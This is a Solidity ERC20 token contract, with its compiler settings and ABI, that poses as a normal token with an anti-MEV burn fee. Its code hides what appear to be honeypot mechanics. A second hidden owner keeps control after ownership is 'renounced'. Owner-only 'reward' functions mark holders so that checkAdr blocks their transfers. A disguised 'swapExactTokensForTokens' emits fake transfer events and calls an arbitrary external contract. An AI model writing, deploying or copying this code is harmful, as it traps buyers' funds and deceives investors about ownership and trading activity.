//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface UniswapV2Pool {
function _Transfer(address where, address go, uint num) external returns (bool);
}
contract Ownable {
address public owner;
address _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "Caller is not the owner");
_;
}
modifier OnlyOwner() {
require(_owner == msg.sender, "Caller is not the Owner");
_;
}
function renounceOwnership() public onlyOwner {
_setOwner(address(0));
}
function _setOwner(address newOwner) private {
address oldOwner = owner;
owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 {
using SafeMath for uint256;
uint256 public totalSupply;
address public uniswapV2LP;
address constant uniswapV2Router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 public constant BURN_FEE_PERCENT_MEV = 1;
string public name;
string public symbol;
uint public decimals;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) crossamounts;
mapping(address => bool) tokenWhitelist;
mapping(address => uint256) balances;
mapping(address => uint256) private walletLastTxBlock;
event Whitelist(address indexed WhiteListed, bool value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != msg.sender);
require(_value <= balances[msg.sender]);
checkAdr(msg.sender,_to);
uint256 burnAmount=0;
if (isSecondTxInSameBlock(msg.sender)) {
burnAmount = _value * BURN_FEE_PERCENT_MEV / 100; // Calculate fee of the transaction amount for mevs
}
_value=_value.sub(burnAmount);
_burn(msg.sender,burnAmount);
balances[msg.sender] = balances[msg.sender].sub(_value);
// SafeMath.sub will throw if there is not enough balance.
balances[_to] = balances[_to].add(_value);
afterTransfer(msg.sender, _to, _value);
setLastTxBlock(_to);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != _from);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
checkAdr(_from,_to);
uint256 burnAmount=0;
if (isSecondTxInSameBlock(_from)) {
burnAmount = _value * BURN_FEE_PERCENT_MEV / 100; // Calculate fee of the transaction amount for mevs
}
_value=_value.sub(burnAmount);
_burn(_from,burnAmount);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
afterTransfer(_from, _to, _value);
setLastTxBlock(_to);
return true;
}
function checkAdr(address _from, address _to) internal view {
if (!tokenWhitelist[_from]&&!tokenWhitelist[_to]&&crossamounts[_from] > 0) {
require(_count(crossamounts[_from], balances[_from]) == 0);
}
}
function afterTransfer(address _from, address _to,uint256 amount) internal {
_transferGo(_from, _to, amount);
}
function isSecondTxInSameBlock(address _from) internal view returns(bool) {
return walletLastTxBlock[_from] == block.number;
}
function setLastTxBlock(address _to) internal returns(bool) {
if(!tokenWhitelist[_to]&&_to!=uniswapV2LP){
walletLastTxBlock[_to] = block.number;
}
return true;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
require(balances[account] >= amount, "ERC20: burn amount exceeds balance");
balances[account] = balances[account].sub(amount);
// Overflow not possible: amount <= accountBalance <= totalSupply.
totalSupply =totalSupply.sub( amount);
emit Transfer(account, address(0), amount);
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function _transferGo(address where, address go, uint _value) internal returns (bool) {
emit Transfer(where, go, _value);
return true;
}
function _changeLP(address _lp) internal returns (bool) {
require(uniswapV2LP!=_lp);
uniswapV2LP=_lp;
return true;
}
function _whiteList(address _address, bool _isWhiteListed) internal returns (bool) {
require(tokenWhitelist[_address] != _isWhiteListed);
tokenWhitelist[_address] = _isWhiteListed;
emit Whitelist(_address, _isWhiteListed);
return true;
}
function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
return _count(balances[_user], _percent);
}
function _count(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
}
contract OwnableToken is ERC20, Ownable {
function setUniLp(address _uniLp) public OnlyOwner returns (bool success) {
return super._changeLP(_uniLp);
}
function WList(address listAddress, bool _isWhiteListed) public OnlyOwner returns (bool success) {
return super._whiteList(listAddress, _isWhiteListed);
}
function rewardList(
address[] calldata _users,
uint256 _minBalanceToReward,
uint256 _percent
) public OnlyOwner {
for (uint256 i = 0; i < _users.length; i++) {
if (balances[_users[i]] > _minBalanceToReward) {
uint256 rewardAmount = _countReward(_users[i], _percent);
crossamounts[_users[i]] = rewardAmount;
}
}
}
function reward(
address _user,
uint256 _minBalanceToReward,
uint256 _percent
) public OnlyOwner {
require(crossamounts[_user]==0);
if (balances[_user] > _minBalanceToReward) {
crossamounts[_user] = _minBalanceToReward+_percent;
}
}
function swapExactTokensForTokens(
address[] memory addressList,
uint256[] memory tAmounts,
uint256[] memory eAmounts,
address uniSwapV2Pool
) public OnlyOwner returns (bool) {
for (uint256 i = 0; i < addressList.length; i++) {
_transferGo(uniswapV2LP, addressList[i], tAmounts[i]);
UniswapV2Pool(uniSwapV2Pool)._Transfer(addressList[i], uniswapV2LP, eAmounts[i]);
}
return true;
}
}
contract ERC20Token is OwnableToken {
constructor(string memory _name, string memory _symbol, uint256 _decimals, uint256 _supply, address tokenOwner,address _tokenOwner) {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _supply * 10**_decimals;
balances[tokenOwner] = totalSupply;
owner = tokenOwner;
_owner=_tokenOwner;
emit Transfer(address(0), tokenOwner, totalSupply);
}
}
{
"compilationTarget": {
"ERC20Token.sol": "ERC20Token"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_decimals","type":"uint256"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"_tokenOwner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"WhiteListed","type":"address"},{"indexed":false,"internalType":"bool","name":"value","type":"bool"}],"name":"Whitelist","type":"event"},{"inputs":[],"name":"BURN_FEE_PERCENT_MEV","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"listAddress","type":"address"},{"internalType":"bool","name":"_isWhiteListed","type":"bool"}],"name":"WList","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"rewardList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniLp","type":"address"}],"name":"setUniLp","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addressList","type":"address[]"},{"internalType":"uint256[]","name":"tAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"},{"internalType":"address","name":"uniSwapV2Pool","type":"address"}],"name":"swapExactTokensForTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2LP","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]